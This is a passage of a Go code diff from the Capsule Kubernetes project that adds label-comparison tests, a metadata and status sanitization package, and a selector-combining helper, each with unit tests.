    +		{
    +			name: "nil vs empty => equal (len==0)",
    +			a:    nil,
    +			b:    map[string]string{},
    +			want: true,
    +		},
    +		{
    +			name: "empty vs nil => equal (len==0)",
    +			a:    map[string]string{},
    +			b:    nil,
    +			want: true,
    +		},
    +		{
    +			name: "same single entry => equal",
    +			a:    map[string]string{"a": "1"},
    +			b:    map[string]string{"a": "1"},
    +			want: true,
    +		},
    +		{
    +			name: "same entries different insertion order => equal",
    +			a:    map[string]string{"a": "1", "b": "2"},
    +			b:    map[string]string{"b": "2", "a": "1"},
    +			want: true,
    +		},
    +		{
    +			name: "different lengths => not equal",
    +			a:    map[string]string{"a": "1"},
    +			b:    map[string]string{"a": "1", "b": "2"},
    +			want: false,
    +		},
    +		{
    +			name: "missing key in b => not equal",
    +			a:    map[string]string{"a": "1", "b": "2"},
    +			b:    map[string]string{"a": "1", "c": "2"},
    +			want: false,
    +		},
    +		{
    +			name: "same keys but different value => not equal",
    +			a:    map[string]string{"a": "1"},
    +			b:    map[string]string{"a": "2"},
    +			want: false,
    +		},
    +		{
    +			name: "b has extra key (len differs) => not equal",
    +			a:    map[string]string{"a": "1"},
    +			b:    map[string]string{"a": "1", "x": "y"},
    +			want: false,
    +		},
    +	}
    +
    +	for _, tt := range tests {
    +		tt := tt
    +		t.Run(tt.name, func(t *testing.T) {
    +			t.Parallel()
    +
    +			got := predicates.LabelsEqual(tt.a, tt.b)
    +			if got != tt.want {
    +				t.Fatalf("LabelsEqual(%v, %v) = %v, want %v", tt.a, tt.b, got, tt.want)
    +			}
    +		})
    +	}
    +}
    +
    +func TestLabelsChanged(t *testing.T) {
    +	t.Parallel()
    +
    +	type tc struct {
    +		name      string
    +		keys      []string
    +		oldLabels map[string]string
    +		newLabels map[string]string
    +		want      bool
    +	}
    +
    +	tests := []tc{
    +		{
    +			name:      "no keys => unchanged (false)",
    +			keys:      nil,
    +			oldLabels: map[string]string{"a": "1"},
    +			newLabels: map[string]string{"a": "2"},
    +			want:      false,
    +		},
    +		{
    +			name:      "key unchanged => false",
    +			keys:      []string{"a"},
    +			oldLabels: map[string]string{"a": "1"},
    +			newLabels: map[string]string{"a": "1"},
    +			want:      false,
    +		},
    +		{
    +			name:      "value changed => true",
    +			keys:      []string{"a"},
    +			oldLabels: map[string]string{"a": "1"},
    +			newLabels: map[string]string{"a": "2"},
    +			want:      true,
    +		},
    +		{
    +			name:      "key added => true",
    +			keys:      []string{"a"},
    +			oldLabels: map[string]string{},
    +			newLabels: map[string]string{"a": "1"},
    +			want:      true,
    +		},
    +		{
    +			name:      "key removed => true",
    +			keys:      []string{"a"},
    +			oldLabels: map[string]string{"a": "1"},
    +			newLabels: map[string]string{},
    +			want:      true,
    +		},
    +		{
    +			name:      "old nil new has key => true",
    +			keys:      []string{"a"},
    +			oldLabels: nil,
    +			newLabels: map[string]string{"a": "1"},
    +			want:      true,
    +		},
    +		{
    +			name:      "old has key new nil => true",
    +			keys:      []string{"a"},
    +			oldLabels: map[string]string{"a": "1"},
    +			newLabels: nil,
    +			want:      true,
    +		},
    +		{
    +			name:      "both nil and key missing => false",
    +			keys:      []string{"a"},
    +			oldLabels: nil,
    +			newLabels: nil,
    +			want:      false,
    +		},
    +		{
    +			name:      "multiple keys: one changed => true",
    +			keys:      []string{"a", "b"},
    +			oldLabels: map[string]string{"a": "1", "b": "2"},
    +			newLabels: map[string]string{"a": "1", "b": "3"},
    +			want:      true,
    +		},
    +		{
    +			name:      "multiple keys: only non-watched key changed => false",
    +			keys:      []string{"a"},
    +			oldLabels: map[string]string{"a": "1", "x": "old"},
    +			newLabels: map[string]string{"a": "1", "x": "new"},
    +			want:      false,
    +		},
    +		{
    +			name:      "watched key absent in both even if other keys differ => false",
    +			keys:      []string{"a"},
    +			oldLabels: map[string]string{"x": "1"},
    +			newLabels: map[string]string{"x": "2"},
    +			want:      false,
    +		},
    +		{
    +			name:      "duplicate keys in keys slice still behaves correctly",
    +			keys:      []string{"a", "a"},
    +			oldLabels: map[string]string{"a": "1"},
    +			newLabels: map[string]string{"a": "1"},
    +			want:      false,
    +		},
    +		{
    +			name:      "duplicate keys in keys slice with change => true",
    +			keys:      []string{"a", "a"},
    +			oldLabels: map[string]string{"a": "1"},
    +			newLabels: map[string]string{"a": "2"},
    +			want:      true,
    +		},
    +	}
    +
    +	for _, tt := range tests {
    +		tt := tt
    +		t.Run(tt.name, func(t *testing.T) {
    +			t.Parallel()
    +
    +			got := predicates.LabelsChanged(tt.keys, tt.oldLabels, tt.newLabels)
    +			if got != tt.want {
    +				t.Fatalf("LabelsChanged(keys=%v, old=%v, new=%v) = %v, want %v",
    +					tt.keys, tt.oldLabels, tt.newLabels, got, tt.want,
    +				)
    +			}
    +		})
    +	}
    +}
    
  • pkg/runtime/sanitize/object.go+75 0 added
    @@ -0,0 +1,75 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package sanitize
    +
    +import (
    +	"fmt"
    +
    +	apiMeta "k8s.io/apimachinery/pkg/api/meta"
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +	"k8s.io/apimachinery/pkg/runtime"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +)
    +
    +// SanitizeObject removes metadata (and optionally status) from a client.Object in-place.
    +// For StripStatus it converts to unstructured and back (generic, but only when needed).
    +//
    +//nolint:nestif
    +func SanitizeObject(obj client.Object, scheme *runtime.Scheme, opts SanitizeOptions) error {
    +	if obj == nil {
    +		return nil
    +	}
    +
    +	if opts.StripUID {
    +		obj.SetUID("")
    +	}
    +
    +	if opts.StripManagedFields {
    +		accessor, err := apiMeta.Accessor(obj)
    +		if err == nil {
    +			accessor.SetManagedFields(nil)
    +		}
    +	}
    +
    +	if opts.StripLastApplied {
    +		anns := obj.GetAnnotations()
    +		if len(anns) > 0 {
    +			delete(anns, "kubectl.kubernetes.io/last-applied-configuration")
    +
    +			if len(anns) == 0 {
    +				obj.SetAnnotations(nil)
    +			} else {
    +				obj.SetAnnotations(anns)
    +			}
    +		}
    +	}
    +
    +	if opts.StripStatus {
    +		if scheme == nil {
    +			return fmt.Errorf("scheme is required to StripStatus on typed objects")
    +		}
    +
    +		// Convert typed -> unstructured
    +		u := &unstructured.Unstructured{}
    +		if err := scheme.Convert(obj, u, nil); err != nil {
    +			m, err2 := runtime.DefaultUnstructuredConverter.ToUnstructured(obj)
    +			if err2 != nil {
    +				return fmt.Errorf("failed converting object to unstructured for status stripping: %w", err)
    +			}
    +
    +			u.Object = m
    +		}
    +
    +		unstructured.RemoveNestedField(u.Object, "status")
    +
    +		// Convert back unstructured -> typed
    +		if err := scheme.Convert(u, obj, nil); err != nil {
    +			if err2 := runtime.DefaultUnstructuredConverter.FromUnstructured(u.Object, obj); err2 != nil {
    +				return fmt.Errorf("failed converting unstructured back to typed after status stripping: %w", err2)
    +			}
    +		}
    +	}
    +
    +	return nil
    +}
    
  • pkg/runtime/sanitize/object_test.go+322 0 added
    @@ -0,0 +1,322 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package sanitize_test
    +
    +import (
    +	"testing"
    +
    +	apiMeta "k8s.io/apimachinery/pkg/api/meta"
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +	"k8s.io/apimachinery/pkg/runtime"
    +	"k8s.io/apimachinery/pkg/types"
    +
    +	corev1 "k8s.io/api/core/v1"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/sanitize"
    +)
    +
    +func TestSanitizeObject_Nil(t *testing.T) {
    +	t.Parallel()
    +
    +	// Should not panic and should return nil.
    +	if err := sanitize.SanitizeObject(nil, nil, sanitize.SanitizeOptions{
    +		StripUID:           true,
    +		StripManagedFields: true,
    +		StripLastApplied:   true,
    +		StripStatus:        true,
    +	}); err != nil {
    +		t.Fatalf("expected nil error, got %v", err)
    +	}
    +}
    +
    +func TestSanitizeObject_MetadataFields_TypedObject(t *testing.T) {
    +	t.Parallel()
    +
    +	pod := newPodWithMeta()
    +
    +	opts := sanitize.SanitizeOptions{
    +		StripUID:           true,
    +		StripManagedFields: true,
    +		StripLastApplied:   true,
    +		StripStatus:        false, // metadata-only test
    +	}
    +
    +	if err := sanitize.SanitizeObject(pod, nil, opts); err != nil {
    +		t.Fatalf("expected nil error, got %v", err)
    +	}
    +
    +	// UID stripped
    +	if got := pod.GetUID(); got != "" {
    +		t.Fatalf("expected UID stripped, got %q", got)
    +	}
    +
    +	// ManagedFields stripped
    +	accessor, err := apiMeta.Accessor(pod)
    +	if err != nil {
    +		t.Fatalf("apiMeta.Accessor failed: %v", err)
    +	}
    +	if mf := accessor.GetManagedFields(); len(mf) != 0 {
    +		t.Fatalf("expected managedFields stripped, got %#v", mf)
    +	}
    +
    +	// last-applied stripped, other annotation preserved
    +	anns := pod.GetAnnotations()
    +	if _, ok := anns["kubectl.kubernetes.io/last-applied-configuration"]; ok {
    +		t.Fatalf("expected last-applied annotation stripped, still present: %#v", anns)
    +	}
    +	if anns["keep"] != "yes" {
    +		t.Fatalf("expected other annotation preserved, got %#v", anns)
    +	}
    +}
    +
    +func TestSanitizeObject_LastApplied_AnnotationMapRemovedWhenEmpty(t *testing.T) {
    +	t.Parallel()
    +
    +	pod := newPodWithMeta()
    +	// Only last-applied exists.
    +	pod.SetAnnotations(map[string]string{
    +		"kubectl.kubernetes.io/last-applied-configuration": `{"x":"y"}`,
    +	})
    +
    +	opts := sanitize.SanitizeOptions{
    +		StripLastApplied: true,
    +	}
    +
    +	if err := sanitize.SanitizeObject(pod, nil, opts); err != nil {
    +		t.Fatalf("expected nil error, got %v", err)
    +	}
    +
    +	if anns := pod.GetAnnotations(); len(anns) != 0 {
    +		t.Fatalf("expected annotations cleared (nil or empty) after removing last-applied, got %#v", anns)
    +	}
    +}
    +
    +func TestSanitizeObject_NoOptions_NoChanges(t *testing.T) {
    +	t.Parallel()
    +
    +	pod := newPodWithMeta()
    +	// make a copy for comparison
    +	orig := pod.DeepCopy()
    +
    +	opts := sanitize.SanitizeOptions{} // everything false
    +
    +	if err := sanitize.SanitizeObject(pod, nil, opts); err != nil {
    +		t.Fatalf("expected nil error, got %v", err)
    +	}
    +
    +	// Verify important bits unchanged
    +	if pod.GetUID() != orig.GetUID() {
    +		t.Fatalf("UID changed unexpectedly: %q -> %q", orig.GetUID(), pod.GetUID())
    +	}
    +	if pod.GetAnnotations()["keep"] != "yes" {
    +		t.Fatalf("annotations changed unexpectedly: %#v", pod.GetAnnotations())
    +	}
    +
    +	// ManagedFields should still be present
    +	accessor, err := apiMeta.Accessor(pod)
    +	if err != nil {
    +		t.Fatalf("apiMeta.Accessor failed: %v", err)
    +	}
    +	origAcc, _ := apiMeta.Accessor(orig)
    +	if len(accessor.GetManagedFields()) != len(origAcc.GetManagedFields()) {
    +		t.Fatalf("managedFields changed unexpectedly: %#v -> %#v", origAcc.GetManagedFields(), accessor.GetManagedFields())
    +	}
    +}
    +
    +func TestSanitizeObject_StripStatus_TypedObject(t *testing.T) {
    +	t.Parallel()
    +
    +	scheme := runtime.NewScheme()
    +	if err := corev1.AddToScheme(scheme); err != nil {
    +		t.Fatalf("AddToScheme: %v", err)
    +	}
    +
    +	pod := newPodWithMeta()
    +	// Put something into status so we can confirm it’s removed.
    +	pod.Status.Phase = corev1.PodRunning
    +	pod.Status.HostIP = "10.0.0.1"
    +
    +	opts := sanitize.SanitizeOptions{
    +		StripStatus: true,
    +	}
    +
    +	if err := sanitize.SanitizeObject(pod, scheme, opts); err != nil {
    +		t.Fatalf("expected nil error, got %v", err)
    +	}
    +
    +	// After stripping status, it should be zero value.
    +	if pod.Status.Phase != "" || pod.Status.HostIP != "" {
    +		t.Fatalf("expected pod status stripped to zero value, got %#v", pod.Status)
    +	}
    +}
    +
    +func TestSanitizeObject_StripStatus_RequiresScheme(t *testing.T) {
    +	t.Parallel()
    +
    +	pod := newPodWithMeta()
    +	pod.Status.Phase = corev1.PodRunning
    +
    +	opts := sanitize.SanitizeOptions{
    +		StripStatus: true,
    +	}
    +
    +	if err := sanitize.SanitizeObject(pod, nil, opts); err == nil {
    +		t.Fatalf("expected error when StripStatus=true and scheme=nil, got nil")
    +	}
    +}
    +
    +func TestSanitizeObject_Unstructured_FastPathMetadataAndStatus(t *testing.T) {
    +	t.Parallel()
    +
    +	u := &unstructured.Unstructured{
    +		Object: map[string]any{
    +			"apiVersion": "v1",
    +			"kind":       "Pod",
    +			"metadata": map[string]any{
    +				"name":      "p",
    +				"namespace": "ns",
    +				"uid":       "abc",
    +				"annotations": map[string]any{
    +					"kubectl.kubernetes.io/last-applied-configuration": `{"x":"y"}`,
    +					"keep": "yes",
    +				},
    +				"managedFields": []any{
    +					map[string]any{"manager": "x"},
    +				},
    +			},
    +			"status": map[string]any{
    +				"phase": "Running",
    +			},
    +		},
    +	}
    +
    +	// If your SanitizeObject supports unstructured directly (recommended),
    +	// this should work. If you keep a separate SanitizeUnstructured, then
    +	// call that instead in this test.
    +	opts := sanitize.SanitizeOptions{
    +		StripUID:           true,
    +		StripManagedFields: true,
    +		StripLastApplied:   true,
    +		StripStatus:        true,
    +	}
    +
    +	// scheme not needed for unstructured if your implementation detects it and uses map operations.
    +	// If your implementation requires scheme even for unstructured, pass a scheme.
    +	if err := sanitize.SanitizeObject(u, runtime.NewScheme(), opts); err != nil {
    +		t.Fatalf("expected nil error, got %v", err)
    +	}
    +
    +	// Verify uid removed
    +	if _, found, _ := unstructured.NestedFieldNoCopy(u.Object, "metadata", "uid"); found {
    +		t.Fatalf("expected metadata.uid stripped")
    +	}
    +	// Verify managedFields removed
    +	if _, found, _ := unstructured.NestedFieldNoCopy(u.Object, "metadata", "managedFields"); found {
    +		t.Fatalf("expected metadata.managedFields stripped")
    +	}
    +	// Verify last-applied removed, keep preserved
    +	anns, found, err := unstructured.NestedStringMap(u.Object, "metadata", "annotations")
    +	if err != nil || !found {
    +		t.Fatalf("expected annotations map to exist, err=%v found=%v", err, found)
    +	}
    +	if _, ok := anns["kubectl.kubernetes.io/last-applied-configuration"]; ok {
    +		t.Fatalf("expected last-applied stripped from annotations, got %#v", anns)
    +	}
    +	if anns["keep"] != "yes" {
    +		t.Fatalf("expected keep annotation preserved, got %#v", anns)
    +	}
    +	// Verify status removed
    +	if _, found, _ := unstructured.NestedFieldNoCopy(u.Object, "status"); found {
    +		t.Fatalf("expected status stripped")
    +	}
    +}
    +
    +func TestSanitizeObject_AllOptions_TypedObject(t *testing.T) {
    +	t.Parallel()
    +
    +	scheme := runtime.NewScheme()
    +	if err := corev1.AddToScheme(scheme); err != nil {
    +		t.Fatalf("AddToScheme: %v", err)
    +	}
    +
    +	pod := newPodWithMeta()
    +	pod.Status.Phase = corev1.PodRunning
    +	pod.Status.PodIP = "10.0.0.2"
    +
    +	opts := sanitize.SanitizeOptions{
    +		StripUID:           true,
    +		StripManagedFields: true,
    +		StripLastApplied:   true,
    +		StripStatus:        true,
    +	}
    +
    +	if err := sanitize.SanitizeObject(pod, scheme, opts); err != nil {
    +		t.Fatalf("expected nil error, got %v", err)
    +	}
    +
    +	// UID stripped
    +	if pod.GetUID() != "" {
    +		t.Fatalf("expected UID stripped, got %q", pod.GetUID())
    +	}
    +
    +	// managedFields stripped
    +	acc, err := apiMeta.Accessor(pod)
    +	if err != nil {
    +		t.Fatalf("apiMeta.Accessor failed: %v", err)
    +	}
    +	if len(acc.GetManagedFields()) != 0 {
    +		t.Fatalf("expected managedFields stripped, got %#v", acc.GetManagedFields())
    +	}
    +
    +	// last-applied stripped
    +	anns := pod.GetAnnotations()
    +	if _, ok := anns["kubectl.kubernetes.io/last-applied-configuration"]; ok {
    +		t.Fatalf("expected last-applied stripped, got %#v", anns)
    +	}
    +	if anns["keep"] != "yes" {
    +		t.Fatalf("expected other annotations preserved, got %#v", anns)
    +	}
    +
    +	if pod.Status.Phase != "" || pod.Status.PodIP != "" || pod.Status.HostIP != "" {
    +		t.Fatalf("expected scalar status fields cleared, got %#v", pod.Status)
    +	}
    +	if len(pod.Status.Conditions) != 0 {
    +		t.Fatalf("expected status.conditions empty, got %#v", pod.Status.Conditions)
    +	}
    +	if len(pod.Status.ContainerStatuses) != 0 {
    +		t.Fatalf("expected status.containerStatuses empty, got %#v", pod.Status.ContainerStatuses)
    +	}
    +}
    +
    +// --- helpers ---
    +
    +func newPodWithMeta() *corev1.Pod {
    +	p := &corev1.Pod{}
    +	p.SetName("p")
    +	p.SetNamespace("ns")
    +	p.SetUID(types.UID("uid-123"))
    +	p.SetAnnotations(map[string]string{
    +		"kubectl.kubernetes.io/last-applied-configuration": `{"a":"b"}`,
    +		"keep": "yes",
    +	})
    +
    +	// ManagedFields is on ObjectMeta; easiest to set via Accessor.
    +	// Note: type is []metav1.ManagedFieldsEntry
    +	acc, _ := apiMeta.Accessor(p)
    +	acc.SetManagedFields([]metav1.ManagedFieldsEntry{
    +		{
    +			Manager:    "test",
    +			Operation:  metav1.ManagedFieldsOperationApply,
    +			APIVersion: "v1",
    +			Time:       &metav1.Time{},
    +		},
    +	})
    +
    +	// Implement client.Object assertion at compile-time for sanity.
    +	var _ client.Object = p
    +
    +	return p
    +}
    
  • pkg/runtime/sanitize/options.go+20 0 added
    @@ -0,0 +1,20 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package sanitize
    +
    +type SanitizeOptions struct {
    +	StripUID           bool
    +	StripManagedFields bool
    +	StripLastApplied   bool
    +	StripStatus        bool
    +}
    +
    +func DefaultSanitizeOptions() SanitizeOptions {
    +	return SanitizeOptions{
    +		StripUID:           true,
    +		StripManagedFields: true,
    +		StripLastApplied:   true,
    +		StripStatus:        true,
    +	}
    +}
    
  • pkg/runtime/sanitize/options_test.go+27 0 added
    @@ -0,0 +1,27 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package sanitize_test
    +
    +import (
    +	"testing"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/sanitize"
    +)
    +
    +func TestDefaultSanitizeOptions(t *testing.T) {
    +	opts := sanitize.DefaultSanitizeOptions()
    +
    +	if !opts.StripManagedFields {
    +		t.Fatalf("expected StripManagedFields=true")
    +	}
    +	if !opts.StripLastApplied {
    +		t.Fatalf("expected StripLastApplied=true")
    +	}
    +	if !opts.StripStatus {
    +		t.Fatalf("expected StripStatus=true")
    +	}
    +	if !opts.StripUID {
    +		t.Fatalf("expected StripUID=true")
    +	}
    +}
    
  • pkg/runtime/sanitize/unstructured.go+39 0 added
    @@ -0,0 +1,39 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package sanitize
    +
    +import "k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +
    +// SanitizeUnstructured Removes additional metadata we might not need when loading unstructured items into a context.
    +func SanitizeUnstructured(obj *unstructured.Unstructured, opts SanitizeOptions) {
    +	if obj == nil {
    +		return
    +	}
    +
    +	if opts.StripUID {
    +		unstructured.RemoveNestedField(obj.Object, "metadata", "uid")
    +	}
    +
    +	if opts.StripManagedFields {
    +		unstructured.RemoveNestedField(obj.Object, "metadata", "managedFields")
    +	}
    +
    +	if opts.StripLastApplied {
    +		anns, found, err := unstructured.NestedStringMap(obj.Object, "metadata", "annotations")
    +		if err == nil && found && len(anns) > 0 {
    +			// kubectl apply annotation.
    +			delete(anns, "kubectl.kubernetes.io/last-applied-configuration")
    +
    +			if len(anns) == 0 {
    +				unstructured.RemoveNestedField(obj.Object, "metadata", "annotations")
    +			} else {
    +				_ = unstructured.SetNestedStringMap(obj.Object, anns, "metadata", "annotations")
    +			}
    +		}
    +	}
    +
    +	if opts.StripStatus {
    +		unstructured.RemoveNestedField(obj.Object, "status")
    +	}
    +}
    
  • pkg/runtime/sanitize/unstructured_test.go+228 0 added
    @@ -0,0 +1,228 @@
    +// Copyright 2020-2025 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package sanitize_test
    +
    +import (
    +	"testing"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/sanitize"
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +)
    +
    +func TestSanitizeUnstructured_NilObject_NoPanic(t *testing.T) {
    +	// Just ensure it doesn't panic
    +	sanitize.SanitizeUnstructured(nil, sanitize.DefaultSanitizeOptions())
    +}
    +
    +func TestSanitizeUnstructured_StripManagedFields_RemovesOnlyWhenEnabled(t *testing.T) {
    +	obj := &unstructured.Unstructured{
    +		Object: map[string]any{
    +			"metadata": map[string]any{
    +				"name": "x",
    +				"managedFields": []any{
    +					map[string]any{"manager": "foo"},
    +				},
    +			},
    +		},
    +	}
    +
    +	// Disabled: should remain
    +	sanitize.SanitizeUnstructured(obj, sanitize.SanitizeOptions{
    +		StripManagedFields: false,
    +		StripLastApplied:   false,
    +		StripStatus:        false,
    +	})
    +
    +	if _, found, _ := unstructured.NestedFieldNoCopy(obj.Object, "metadata", "managedFields"); !found {
    +		t.Fatalf("expected managedFields to remain when StripManagedFields=false")
    +	}
    +
    +	// Enabled: should be removed
    +	sanitize.SanitizeUnstructured(obj, sanitize.SanitizeOptions{
    +		StripManagedFields: true,
    +		StripLastApplied:   false,
    +		StripStatus:        false,
    +	})
    +
    +	if _, found, _ := unstructured.NestedFieldNoCopy(obj.Object, "metadata", "managedFields"); found {
    +		t.Fatalf("expected managedFields to be removed when StripManagedFields=true")
    +	}
    +}
    +
    +func TestSanitizeUnstructured_StripLastApplied_RemovesKeyButKeepsOtherAnnotations(t *testing.T) {
    +	obj := &unstructured.Unstructured{
    +		Object: map[string]any{
    +			"metadata": map[string]any{
    +				"annotations": map[string]any{
    +					"kubectl.kubernetes.io/last-applied-configuration": "huge",
    +					"keep": "me",
    +				},
    +			},
    +		},
    +	}
    +
    +	sanitize.SanitizeUnstructured(obj, sanitize.SanitizeOptions{
    +		StripManagedFields: false,
    +		StripLastApplied:   true,
    +		StripStatus:        false,
    +	})
    +
    +	anns, found, err := unstructured.NestedStringMap(obj.Object, "metadata", "annotations")
    +	if err != nil {
    +		t.Fatalf("unexpected error reading annotations: %v", err)
    +	}
    +	if !found {
    +		t.Fatalf("expected annotations to exist")
    +	}
    +	if _, ok := anns["kubectl.kubernetes.io/last-applied-configuration"]; ok {
    +		t.Fatalf("expected last-applied annotation to be removed")
    +	}
    +	if anns["keep"] != "me" {
    +		t.Fatalf("expected other annotations to be preserved, got: %#v", anns)
    +	}
    +}
    +
    +func TestSanitizeUnstructured_StripLastApplied_RemovesAnnotationsFieldWhenItBecomesEmpty(t *testing.T) {
    +	obj := &unstructured.Unstructured{
    +		Object: map[string]any{
    +			"metadata": map[string]any{
    +				"annotations": map[string]any{
    +					"kubectl.kubernetes.io/last-applied-configuration": "huge",
    +				},
    +			},
    +		},
    +	}
    +
    +	sanitize.SanitizeUnstructured(obj, sanitize.SanitizeOptions{
    +		StripManagedFields: false,
    +		StripLastApplied:   true,
    +		StripStatus:        false,
    +	})
    +
    +	if _, found, _ := unstructured.NestedFieldNoCopy(obj.Object, "metadata", "annotations"); found {
    +		t.Fatalf("expected metadata.annotations to be removed entirely when empty")
    +	}
    +}
    +
    +func TestSanitizeUnstructured_StripLastApplied_NoAnnotations_NoError(t *testing.T) {
    +	obj := &unstructured.Unstructured{
    +		Object: map[string]any{
    +			"metadata": map[string]any{
    +				"name": "x",
    +			},
    +		},
    +	}
    +
    +	sanitize.SanitizeUnstructured(obj, sanitize.SanitizeOptions{
    +		StripManagedFields: false,
    +		StripLastApplied:   true,
    +		StripStatus:        false,
    +	})
    +
    +	// Nothing to assert besides "doesn't crash" and metadata still present
    +	if got := obj.GetName(); got != "x" {
    +		t.Fatalf("expected name to stay unchanged, got %q", got)
    +	}
    +}
    +
    +func TestSanitizeUnstructured_StripLastApplied_AnnotationsNotStringMap_IsIgnored(t *testing.T) {
    +	// NestedStringMap will return an error if annotations is not a map[string]string
    +	// and SanitizeUnstructured should ignore it (no crash, no deletion).
    +	obj := &unstructured.Unstructured{
    +		Object: map[string]any{
    +			"metadata": map[string]any{
    +				"annotations": []any{"not-a-map"},
    +			},
    +		},
    +	}
    +
    +	sanitize.SanitizeUnstructured(obj, sanitize.SanitizeOptions{
    +		StripManagedFields: false,
    +		StripLastApplied:   true,
    +		StripStatus:        false,
    +	})
    +
    +	// Still present because we ignored on error
    +	if _, found, _ := unstructured.NestedFieldNoCopy(obj.Object, "metadata", "annotations"); !found {
    +		t.Fatalf("expected annotations to remain when annotations is malformed and cannot be parsed as string map")
    +	}
    +}
    +
    +func TestSanitizeUnstructured_StripStatus_RemovesStatusOnlyWhenEnabled(t *testing.T) {
    +	obj := &unstructured.Unstructured{
    +		Object: map[string]any{
    +			"metadata": map[string]any{"name": "x"},
    +			"status": map[string]any{
    +				"phase": "Active",
    +			},
    +		},
    +	}
    +
    +	// Disabled: should remain
    +	sanitize.SanitizeUnstructured(obj, sanitize.SanitizeOptions{
    +		StripManagedFields: false,
    +		StripLastApplied:   false,
    +		StripStatus:        false,
    +	})
    +
    +	if _, found, _ := unstructured.NestedFieldNoCopy(obj.Object, "status"); !found {
    +		t.Fatalf("expected status to remain when StripStatus=false")
    +	}
    +
    +	// Enabled: should be removed
    +	sanitize.SanitizeUnstructured(obj, sanitize.SanitizeOptions{
    +		StripManagedFields: false,
    +		StripLastApplied:   false,
    +		StripStatus:        true,
    +	})
    +
    +	if _, found, _ := unstructured.NestedFieldNoCopy(obj.Object, "status"); found {
    +		t.Fatalf("expected status to be removed when StripStatus=true")
    +	}
    +}
    +
    +func TestSanitizeUnstructured_AllOptionsEnabled_RemovesAllTargets(t *testing.T) {
    +	obj := &unstructured.Unstructured{
    +		Object: map[string]any{
    +			"metadata": map[string]any{
    +				"managedFields": []any{
    +					map[string]any{"manager": "foo"},
    +				},
    +				"annotations": map[string]any{
    +					"kubectl.kubernetes.io/last-applied-configuration": "huge",
    +					"keep": "me",
    +				},
    +			},
    +			"status": map[string]any{"foo": "bar"},
    +		},
    +	}
    +
    +	sanitize.SanitizeUnstructured(obj, sanitize.SanitizeOptions{
    +		StripManagedFields: true,
    +		StripLastApplied:   true,
    +		StripStatus:        true,
    +	})
    +
    +	if _, found, _ := unstructured.NestedFieldNoCopy(obj.Object, "metadata", "managedFields"); found {
    +		t.Fatalf("expected managedFields removed")
    +	}
    +
    +	anns, found, err := unstructured.NestedStringMap(obj.Object, "metadata", "annotations")
    +	if err != nil {
    +		t.Fatalf("unexpected error reading annotations: %v", err)
    +	}
    +	if !found {
    +		t.Fatalf("expected annotations to still exist because 'keep' should remain")
    +	}
    +	if _, ok := anns["kubectl.kubernetes.io/last-applied-configuration"]; ok {
    +		t.Fatalf("expected last-applied removed")
    +	}
    +	if anns["keep"] != "me" {
    +		t.Fatalf("expected keep annotation preserved, got %#v", anns)
    +	}
    +
    +	if _, found, _ := unstructured.NestedFieldNoCopy(obj.Object, "status"); found {
    +		t.Fatalf("expected status removed")
    +	}
    +}
    
  • pkg/runtime/selectors/combine.go+28 0 added
    @@ -0,0 +1,28 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package selectors
    +
    +import "k8s.io/apimachinery/pkg/labels"
    +
    +func CombineSelectors(selectors ...labels.Selector) labels.Selector {
    +	combined := labels.NewSelector()
    +
    +	for _, sel := range selectors {
    +		if sel == nil {
    +			continue
    +		}
    +
    +		reqs, selectable := sel.Requirements()
    +		if !selectable {
    +			// Defensive: if selector can't be expressed as requirements, match nothing.
    +			return labels.Nothing()
    +		}
    +
    +		for _, r := range reqs {
    +			combined = combined.Add(r)
    +		}
    +	}
    +
    +	return combined
    +}
    
  • pkg/runtime/selectors/combine_test.go+113 0 added
    @@ -0,0 +1,113 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package selectors_test
    +
    +import (
    +	"testing"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/selectors"
    +	"k8s.io/apimachinery/pkg/labels"
    +)
    +
    +func TestCombineSelectors(t *testing.T) {
    +	t.Parallel()
    +
    +	t.Run("no selectors returns Everything (matches all)", func(t *testing.T) {
    +		t.Parallel()
    +
    +		sel := selectors.CombineSelectors()
    +		if !sel.Matches(labels.Set{}) {
    +			t.Fatalf("expected combined selector to match empty label set")
    +		}
    +		// labels.NewSelector() string is typically "", which means "everything"
    +		if got := sel.String(); got != "" {
    +			t.Fatalf("expected empty selector string, got %q", got)
    +		}
    +	})
    +
    +	t.Run("nil selectors are ignored", func(t *testing.T) {
    +		t.Parallel()
    +
    +		base := labels.SelectorFromSet(labels.Set{"a": "1"})
    +		sel := selectors.CombineSelectors(nil, base, nil)
    +
    +		if !sel.Matches(labels.Set{"a": "1"}) {
    +			t.Fatalf("expected to match labels a=1")
    +		}
    +		if sel.Matches(labels.Set{"a": "2"}) {
    +			t.Fatalf("expected not to match labels a=2")
    +		}
    +	})
    +
    +	t.Run("combines selectors with AND semantics", func(t *testing.T) {
    +		t.Parallel()
    +
    +		s1 := labels.SelectorFromSet(labels.Set{"a": "1"})
    +		s2 := labels.SelectorFromSet(labels.Set{"b": "2"})
    +
    +		combined := selectors.CombineSelectors(s1, s2)
    +
    +		if !combined.Matches(labels.Set{"a": "1", "b": "2"}) {
    +			t.Fatalf("expected to match when both requirements are satisfied")
    +		}
    +		if combined.Matches(labels.Set{"a": "1"}) {
    +			t.Fatalf("expected not to match when b is missing")
    +		}
